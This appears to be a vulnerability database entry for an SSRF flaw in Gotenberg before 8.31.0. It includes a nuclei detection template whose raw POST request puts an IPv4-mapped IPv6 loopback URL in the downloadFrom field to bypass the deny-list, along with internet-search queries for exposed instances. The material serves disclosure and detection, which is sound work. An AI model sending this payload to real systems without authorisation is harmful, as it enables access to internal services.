Browse / CVEs / CVE-2026-42596
CVE-2026-42596· CWE-918
Gotenberg < 8.31.0 - Server-Side Request Forgery
criticalseverity
9.8CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it
Gotenberg before 8.31.0 is vulnerable to server-side request forgery (SSRF) due to insufficient validation of URLs in the downloadFrom API. An unauthenticated attacker can exploit the flaw by providing specially crafted IPv4-mapped IPv6 addresses (such as http://[::ffff:127.0.0.1]) that bypass the deny-list and allow access to internal resources. Fixed versions properly recognize these addresses and prevent such requests.
How to confirm it
Send: POST /forms/libreoffice/convert
Positive when: contains "No 'Content-Disposition' header from 'http://[::ffff:127.0.…" AND status 400Run it with nuclei: nuclei -id CVE-2026-42596 -u <target>
The full check
id: CVE-2026-42596
info:
name: Gotenberg < 8.31.0 - Server-Side Request Forgery
author: str4k3r
severity: critical
description: |
Gotenberg before 8.31.0 is vulnerable to server-side request forgery (SSRF) due to insufficient validation of URLs in the downloadFrom API. An unauthenticated attacker can exploit the flaw by providing specially crafted IPv4-mapped IPv6 addresses (such as http://[::ffff:127.0.0.1]) that bypass the deny-list and allow access to internal resources. Fixed versions properly recognize these addresses and prevent such requests.
reference:
- https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h
- https://nvd.nist.gov/vuln/detail/CVE-2026-42596
classification:
cve-id: CVE-2026-42596
epss-score: 0.01589
epss-percentile: 0.75845
cvss-score: 9.8
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cwe-id: CWE-918
cpe: cpe:2.3:a:gotenberg:gotenberg:*:*:*:*:*:*:*:*
metadata:
max-request: 1
verified: true
shodan-query: "Gotenberg"
fofa-query: "Gotenberg"
tags: cve,cve2026,gotenberg,ssrf,vkev
http:
- raw:
- |
POST /forms/libreoffice/convert HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----testBoundary
------testBoundary
Content-Disposition: form-data; name="downloadFrom"
[{"url":"http://[::ffff:127.0.0.1]:3000/health"}]
------testBoundary--
matchers-condition: and
matchers:
- type: word
part: body
words:
- "No 'Content-Disposition' header from 'http://[::ffff:127.0.0.1]:3000/health'"
- type: status
status:
- 400References
- https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h
- https://nvd.nist.gov/vuln/detail/CVE-2026-42596
Use this check only on systems you are authorised to test. Where the data comes from